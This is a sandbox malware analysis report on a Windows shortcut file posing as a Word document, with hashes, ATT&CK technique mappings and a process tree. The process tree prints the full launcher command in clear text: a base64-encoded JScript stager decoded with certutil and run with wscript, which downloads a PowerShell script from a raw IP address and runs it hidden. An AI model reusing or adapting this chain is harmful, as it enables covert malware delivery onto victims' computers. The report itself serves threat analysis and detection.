1e7464bc601236ebdbe49ff89ff1d3cf8e70ebce109614751c5eed579934ac1d

Analysis

max time kernel
148s
max time network
113s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/07/2026, 18:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
NAKAZ_MO_perevirka_mayna.docx.lnk
Size 6KB
Sample260709-xd58fsf14l
SHA256 1e7464bc601236ebdbe49ff89ff1d3cf8e70ebce109614751c5eed579934ac1d
MD5 d02e6f23aab58a803463f708b61da821
SHA1 966fcf6c2d1295063442661cbe189b58c03a7d37
SHA512 dbfd8fc3c3f4590b6679b99a8c11fa9df668ecf08c51d202d8da3da0029ba2dde0a4021cf24759d095b0096a90f07ef0906ed6abe42fba6cbd9f62ecc26f9fff
SSDEEP 24:8d/vn3JYPU6yaWInZP4S7WZ1WOHmnTZzs+m9lhIMN:8l/bXanR4+sHHmtu9lhI
TLSH
T161D1AD3479E90115D2F3EFB2ADB5BBD59EA7F663687212195482030D4900E40FD1073A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	2440	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5648	powershell.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
4428	cmd.exe
4484	certutil.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5648	powershell.exe
5648	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5648	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2488 wrote to memory of 4428	2488	cmd.exe	88
PID 4428 wrote to memory of 4484	4428	cmd.exe	89
PID 4428 wrote to memory of 2440	4428	cmd.exe	90
PID 2440 wrote to memory of 5648	2440	wscript.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\NAKAZ_MO_perevirka_mayna.docx.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "cd /d C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE2MC4yMC4xMDkuMjEva2tycjQ0Z2cvdGVudW91c3N0ZXJlby5wczEiLGZhbHNlKTtoLnNldFJlcXVlc3RIZWFkZXIoIlVzZXItQWdlbnQiLCJVQSBXaW5kb3dzUG93ZXJTaGVsbCIpO2guc2VuZCgpO25ldyBBY3RpdmVYT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpLlNoZWxsRXhlY3V0ZSgicG93ZXJzaGVsbC5leGUiLCItTm9QIC1XIEhpZGRlbiAtQyAiK2gucmVzcG9uc2VUZXh0LCIiLCJvcGVuIiwwKTs= > Gy.b64 && certutil -decode Gy.b64 WEuzHV.js >nul && wscript //b WEuzHV.js && del Gy.b64 WEuzHV.js"
  2⤵
  - Deobfuscate/Decode Files or Information
  - Suspicious use of WriteProcessMemory
  PID:4428
- - C:\Windows\system32\certutil.exe
    certutil -decode Gy.b64 WEuzHV.js
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:4484
- - C:\Windows\system32\wscript.exe
    wscript //b WEuzHV.js
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2440
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -C <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access this resource.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at 160.20.109.21 Port 80</address> </body></html>
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5648

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Gy.b64

Path C:\Users\Admin\AppData\Local\Temp\Gy.b64
Size 412B
SHA256 dea82529e4fafa2d7d8fd79d0db1bcdd6a06cd201862364f1532e4926684de2e
MD5 4eebbc80b038542c34354b46039e5634
SHA1 d4bbab20075b16f7c67707d3101d31d97701039f
SHA512 9a9c1ebe8fa92bbd562d33aa0ef08ce28dc82d172e2aada673eea0a508842c4c17df4b2b1dcc77db0f21fd3cc19601ade0c76025611066613043802391f55e4b
TLSH
T1CCE0ABDCA08F236392343306AFE42BDCF49C988415072A674F442D892F5EA9DE14A0DD
MD5 SHA1 SHA512 TLSH

Submit Download

WEuzHV.js

Path C:\Users\Admin\AppData\Local\Temp\WEuzHV.js
Size 305B
SHA256 235f1c4c4613c17f83639ab63be384e232341e1678bdd2062f7259e995ddcd77
MD5 98c5b0d9f8e26f31f2351318f8bf8fcb
SHA1 2ec18d9c7060d572f5f7fc4b39b840e4d0505304
SHA512 4ed8f9c18fdeb317b3ddbfb9cbd8ff3d241c5800bdadf903121e25bfb208a55905f247ad141c81533fb65557a87af90d148cf61f5c5b1d6d47d7aa6300f108bb
TLSH
T1E3E07D64407491DD10C6DFDC6070C69041DB44A57001EC6FB744CA941521205229D28E
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5648-4-0x000001D3EFF60000-0x000001D3EFF82000-memory.dmp

Download